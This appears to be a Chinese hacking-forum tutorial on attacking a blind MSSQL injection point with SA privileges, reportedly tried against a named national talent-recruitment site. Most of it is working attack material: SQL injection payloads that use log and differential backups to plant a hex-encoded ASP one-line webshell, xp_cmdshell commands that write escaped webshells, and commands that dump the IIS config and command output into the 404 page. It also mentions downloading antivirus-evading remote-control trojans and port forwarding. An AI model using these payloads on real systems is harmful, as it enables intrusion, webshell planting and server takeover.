sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
1 U# K0 F/ ~' ]7 G3 f9 V
: y; d% }' S# u" c- e+ D& {
1 y5 W& V; f8 X+ X( `: v3 ?                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
) |$ ]. ~  A) M, o: c1 D& t1 g
                                                                 
" T# D4 O7 ^: k. R                                                                 
. R' e8 U/ k2 B! G6 |( I% F! I8 T                                                                  论坛： http://www.90team.net/

) A  s: G; \+ T
  O9 e4 s1 \7 I& n2 z
友情检测国家人才网
3 S  V% v% ^+ P5 p; K7 F2 U% o

2 Y" M5 c, }8 _) w: W内容：MSSQL注入SA权限不显错模式下的入侵
9 a1 F9 _% @' R& R4 i

一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
& m% ]% e& ]7 c, G1 T; d; z" h
: }, j* |- B+ _0 b# A我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
: g! _4 [+ J$ f. L: T$ H
思路：

首先：
5 z5 c7 X* I5 |$ ~* ]: T! j% U
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
/ i& Z3 k. T( |! r# e6 g
1.日志备份获得Webshell
& b1 R" R  Y+ ~( h  r4 l9 O
/ Q4 T+ W: f& N2.数据库差异备份获得Webshell
  H1 I9 U9 l3 l- Z
4.直接下载免杀远控木马。
% B) U- `+ j6 S- |! i+ a- }% ?
( h# g: ]. L* T5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
9 y" L  j% l2 c8 f0 V- d; y. f
7 D; U) @' U# g8 o) L: b2 Q: z
8 a8 a) |: t. c) R4 m* }
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法
2 v1 _& Y" J% Z+ t! v

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
. B9 S% M5 {- m

! o* W. x" W9 E0 f1 `/ v5 c

◆日志备份：
3 p, M1 f# P- V+ K+ W2 b
! C- x* _  N; ?1 H8 N4 U% ~
$ p( E3 X+ o. l0 U( F) T7 v1. 进行初始备份
( y/ x' t! V& S2 J7 z1 |+ g; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
# I2 K( X, @8 S: I1 D1 ~* S5 K! S
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
# r5 M! k. r% i3 }+ ?* }# t  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

( S! K9 F+ K5 j

# h( H1 I7 w/ R4 k- u; A* _◆数据库差异备份

（1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
5 I5 t  p& _. \. g# \
+ T& p# X; s. u5 H) X上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
! Q# J' a. q; h3 x

5 Y( i( m2 ]) m+ [- g& N/ o（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

4 @% H) p/ l* L3 [0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件
4 T& A: Y. T( K% d
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
& U2 c4 \( K6 U2 h
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
4 n; j& ?8 t, ~4 \7 f0 G  n2 |

* o+ g6 n( n+ \% y/ p- Y' k7 D
3 Z- {' B3 C' y' y8 o: I1 {& s用^转义字符来写ASP(一句话木马)文件的方法:   

1 w2 O# X; a0 d3 p1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

" _$ V( n& u0 ?/ C/ j3 G4 N2 N2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径
- n8 h( m& ?. E: O9 D7 Z4 _
/ i" r3 n  v, A1 t, o+ g# Z     
/ Q; O( a& P8 k% u' ^" p% y3 }' ~     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
% ^' D0 O( r6 f- A: @
2 Y, F6 ?% `8 \. B+ {3 B" I! W执行命令
     
7 O3 n! Y# B+ C' M( _: ^- y     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
4 z, j6 ?: F) F4 F1 @

) y* h  Q: p. ?' n) o) l0 R+ f& R0 e
& C0 s: L) V. s" \1 i( ~* G, F* W3 i
2 {" j8 K8 |6 E1 [" T- M
$ L( c2 x9 t1 S' ?
% S1 F/ K; e: W; a. Y0 W


% N* W7 K' _! H/ b% ?8 L6 l3 h* ~, p

& b0 T1 C8 Y- h

1 u3 X9 |: h! ?6 |6 Z


) e- k) q/ z! }& B

0 a: ^1 S& s- M" D0 }
$ s) L* J- W) C% {

) p$ d" _4 J  f, @

  E8 Q8 P4 I& S* M
# ~  b, ^& T# ~0 a& }3 n
- z* V1 m9 U* ~2 H
3 w5 i' I) t' z5 `3 s
# A- H# {; J* C8 G' I


2 n+ s4 n7 K6 w( `# a- J
/ r/ E: X: Y+ a! n6 R( j& D, P# r
+ H6 T; |! H- i0 p0 u& [; P8 O








  G# o& R" f8 A+ {/ i8 `
3 R2 u3 E* @3 ?* z% ~# Q" `4 C

3 [/ l* G6 J$ W9 \


0 Q& X2 A: i6 e1 ?* H8 h